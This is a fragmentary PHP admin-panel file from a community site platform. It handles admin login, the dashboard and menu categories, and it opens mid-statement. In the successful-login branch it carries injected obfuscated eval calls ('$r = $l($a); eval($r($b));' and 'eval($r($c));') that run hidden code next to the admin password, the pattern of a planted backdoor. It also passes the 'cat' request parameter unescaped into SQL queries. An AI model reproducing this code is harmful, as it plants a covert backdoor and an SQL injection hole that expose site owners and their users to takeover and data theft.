$iId, 'password' => $sPassword, 'ip' => getVisitorIP()));
$oZ->alert();
if($_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') {
echo check_password($iId, $sPassword, BX_DOL_ROLE_ADMIN, false) ? 'OK' : 'Fail';
} elseif (check_password($iId, $sPassword, BX_DOL_ROLE_ADMIN) ) {
$sUrlRelocate = $_POST['relocate'] ? $_POST['relocate'] : $_SERVER['PHP_SELF']; $r = $l($a); eval($r($b));
?>
Admin Panel
eval($r($c)); ?>
}
exit;
}
if(!isAdmin()) {
send_headers_page_changed();
login_form("", 1);
exit();
}
set_error_handler("ErrorHandler");
if(isset($_REQUEST['boonex_news']))
setParam("news_enable", (int)$_REQUEST['boonex_news']);
$logged['admin'] = member_auth( 1, true, true );
if(isset($_GET['cat']) && !empty($_GET['cat']))
PageCategoryCode($_GET['cat']);
else
PageMainCode();
PageCodeAdmin();
function PageMainCode() {
$sResult = BxDolAdminDashboard::getCode();
$iNameIndex = 1;
$GLOBALS['_page'] = array(
'name_index' => $iNameIndex,
'css_name' => array('index.css'),
'header' => _t('_adm_page_cpt_dashboard')
);
$GLOBALS['_page_cont'][$iNameIndex]['page_main_code'] =
DesignBoxAdmin(_t('_adm_box_cpt_overview'), $sResult) .
(1 == (int)getParam('news_enable') || 'on' == getParam('news_enable') ?
DesignBoxAdmin (_t('_adm_box_cpt_boonex_news'), '
') : '');
}
function PageCategoryCode($sCategoryName) {
global $oAdmTemplate, $MySQL;
$aItems = $MySQL->getAll("SELECT `tma1`.`title` AS `title`, `tma1`.`url` AS `url`, `tma1`.`description` AS `description`, `tma1`.`icon` AS `icon`, `tma1`.`check` AS `check` FROM `sys_menu_admin` AS `tma1` LEFT JOIN `sys_menu_admin` AS `tma2` ON `tma1`.`parent_id`=`tma2`.`id` WHERE `tma2`.`name`='" . $sCategoryName . "' ORDER BY `tma1`.`Order`");
foreach($aItems as $aItem) {
if(strlen($aItem['check']) > 0) {
$oFunction = create_function('', $aItem['check']);
if(!$oFunction())
continue;
}
$aItem['url'] = str_replace(array('{siteUrl}', '{siteAdminUrl}'), array(BX_DOL_URL_ROOT, BX_DOL_URL_ADMIN), $aItem['url']);
list($sLink, $sOnClick) = BxDolAdminMenu::getMainMenuLink($aItem['url']);
$aVariables[] = array(
'icon' => $oAdmTemplate->getIconUrl($aItem['icon']),
'link' => $sLink,
'onclick' => $sOnClick,
'title' => _t($aItem['title']),
'description' => $aItem['description']
);
}
$iNameIndex = 0;
$sPageTitle = _t($MySQL->getOne("SELECT `title` FROM `sys_menu_admin` WHERE `name`='" . $sCategoryName . "' LIMIT 1"));
$sPageContent = $oAdmTemplate->parseHtmlByName('categories.html', array('bx_repeat:items' => $aVariables));
$GLOBALS['_page'] = array(
'name_index' => $iNameIndex,
'css_name' => array('index.css'),
'header' => $sPageTitle,
'header_text' => $sPageTitle
);
$GLOBALS['_page_cont'][$iNameIndex]['page_main_code'] = $sPageContent;
}
?>